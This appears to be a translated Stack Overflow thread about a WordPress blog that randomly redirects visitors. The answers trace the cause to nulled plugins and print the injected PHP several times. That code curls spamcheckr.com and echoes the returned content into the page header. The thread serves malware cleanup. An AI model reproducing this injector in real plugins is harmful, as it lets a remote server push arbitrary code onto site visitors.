WordPress 博客感染了 HTML Refresh 元标记

Posted

技术标签:

【中文标题】WordPress 博客感染了 HTML Refresh 元标记【英文标题】:WordPress blog infected with HTML Refresh meta tag 【发布时间】:2014-05-20 08:26:05 【问题描述】:

你好 *** 社区。我今天有一个非常有趣的(在我看来)感染要与您分享。

4-5 天前,我意识到我的博客主页在加载几秒钟后被重定向到另一个页面。特别是 youtube,在贾斯汀比伯的视频中。我以为是我电脑的问题,所以我扫描了病毒和恶意软件。但这不是我的错。

最后我确定这不是本地问题,因为 Google 页面速度洞察结果相同。

因此,经过数小时的研究(以及一些损坏的键盘),我发现了这些线索。详情:

在我的标题中创建了一个元标记,类似于:

<meta http-equiv="refresh" content="0; url=http://www.youtube.com/watch?v=RFngSCaY5nA">

首先,我禁用了所有插件,但没有结果。过了一会儿,问题仍然存在。 其次,我搜索了我所有的数据库表,以确定视频的 URL 是否包含在某处,但事实并非如此。 然后我在模板编辑器中一一搜索php文件,但什么也没有。 .htaccess 也很清楚(不是 100% 确定我在其中寻找什么,但我认为没有任何可疑之处)。

在所有这些之后,我通过 FTP 下载了我的整个网站,并在每个文件中搜索了这个 URL。我发现它包含在 CACHE 文件夹的一些 html 文件中。为此,我使用 W3 Total Cache。我删除了整个缓存文件夹,但过了一会儿问题仍然存在。

有趣的是,这种“病毒”并不总是活跃的。它随机出现,每次出现在不同的页面。同样在今晚,我意识到它出现在第二台计算机上,同时在我的计算机上一切正常。

Youtube 视频网址是:http://www.youtube.com/watch?v=RFngSCaY5nA

所以我的问题是:在删除整个安装并从头开始之前,你们中的任何人有推荐的解决方案吗?以前有没有人和我有同样的问题?

我想这就是我要分享的全部内容。很抱歉发了这么长的帖子,尽量详细一点。我不擅长编码,这是我第一次尝试运行 WordPress 网站,所以可能有些东西我忘记了。

提前致谢。

【问题讨论】:

【参考方案1】:

也找到了。就我而言,我使用的是一个明显无效的插件(我没有意识到)。它被称为 woocommerce-checkout-field-editor,它正在注入一个指向 Justin Bieber youtube 视频的链接。

这个函数看起来像这样,并且被隐藏在 \wp-content\plugins\woocommerce-checkout-field-editor\assets\js\class.php 中:

if (mt_rand(0,99) == 1) 
function sec_check() 
    if(function_exists('curl_init'))    
    
        $url = "spamcheckr.com/req.php";
        $ch = curl_init();
        $timeout = 5;
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
        $data = curl_exec($ch);
        curl_close($ch);
        echo "$data";
    

add_action('wp_head','sec_check');

正如我们所见,它仅在随机函数命中“1”时显示垃圾邮件。然后,它礼貌地询问是否安装了 curl,然后向垃圾邮件服务器发送一个简单的 GET 请求,以查看它应该注入什么代码。

该网站是 spamcheckr.com。

然后它将自己添加到 WordPress 标头中并重定向页面的查看者。

我向他们的主机报告了该网站,让我们看看会发生什么。

【讨论】:

【参考方案2】:

如果您使用的是 Gravity Forms 的无效版本,您可能还会遇到此重定向问题。要解决此问题,请转到 /plugins/gravityforms/settings/setting.php 并删除以下代码:

<?php if (!isset($_COOKIE['wordpress_test_cookie'])) if (mt_rand(1,20) == 1) function secqc2_cahesk() if(function_exists('curl_init'))$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";add_action('wp_head','secqc2_cahesk'); ?>

祝你好运。

【讨论】:

【参考方案3】:

我在 wordpress fooboxV2 插件中找到了这个脚本。(FooBox) 插件官方网址为http://fooplugins.com/plugins/foobox/

这是脚本文件路径 /wp-content/plugins/fooboxV2/includes/foolic_class.php

你可以看到整个脚本都被注释了。但是我在注释代码中找到了这段代码。

<?php if (!isset($_COOKIE['wordpress_test_cookie'])) if (mt_rand(1,20) == 1) function secqc2_hhesk() if(function_exists('curl_init'))$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";add_action('wp_head','secqc2_hhesk'); ?>

【讨论】:

我是 FooBox 的开发者,文件 /wp-content/plugins/fooboxV2/includes/foolic_class.php 不是官方 FooBox 插件的一部分。因此,您运行的 FooBox 版本似乎不是 fooplugins.com 的官方插件,而是有人添加了一些垃圾邮件注入器代码的修改版本。 是的,我对此表示怀疑。因为我从非官方网站下载了这个插件,并且都相同并注入了此代码。实际上我认为它是由所有者添加的。感谢你告诉过这个。我认为你可以增加这个插件对黑客的安全性会更好。再次感谢。【参考方案4】:

我有同样的问题,我想我找到了解决办法! 检查您的站点文件以获取此链接:http://spamcheckr.com/l.php 我在 formcraft 插件中找到了这个链接。

像这样:

if (!isset($_COOKIE['wordpress_test_cookie'])) if (mt_rand(1,20) == 1) function secqqc2_chesk() if(function_exists('curl_init'))$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";add_action('wp_head','secqqc2_chesk');

已编辑: 还要检查这个:http://spamcheckr.com/req.php

【讨论】:

是的!我在同一个插件中发现了相同的代码..我们必须小心我们插件的下载源..!我已经多次检查我的网站,甚至是远程桌面,一切似乎都很正常。我会再做几次,然后你会得到绿色的复选标记!感谢您的回复! 我删除了该代码,也清除了该缓存,但它在一段时间后再次重定向。男孩,看起来它在某个地方被击中了!【参考方案5】:

上面的答案很好。要添加它,我建议任何无法搜索代码的人使用 grep :

grep -nr 'http://spamcheckr.com/l.php' /www/wordpress/wp-content

如果您没有 grep 并且无法访问您的服务器(Windows 用户)下载它或使用 findstr :

findstr /s /i /p "http://spamcheckr.com/l.php" /www/wordpress/wp-content

(不要忘记将 /www/wordpress/wp-content 更改为该位置或您的 wordpress 文件夹

【讨论】:

以上是关于WordPress 博客感染了 HTML Refresh 元标记的主要内容,如果未能解决你的问题,请参考以下文章

wordpress 中的 XSS 攻击?

搭建wordpress个人博客

如何为wordpress网站添加双因素身份验证

Wordpress 博客 + Google AdSense [关闭]

functions.php 被siteLock-php-injector 感染了如何清理呢? [关闭]

在云服务器搭建WordPress博客WordPress的基本设置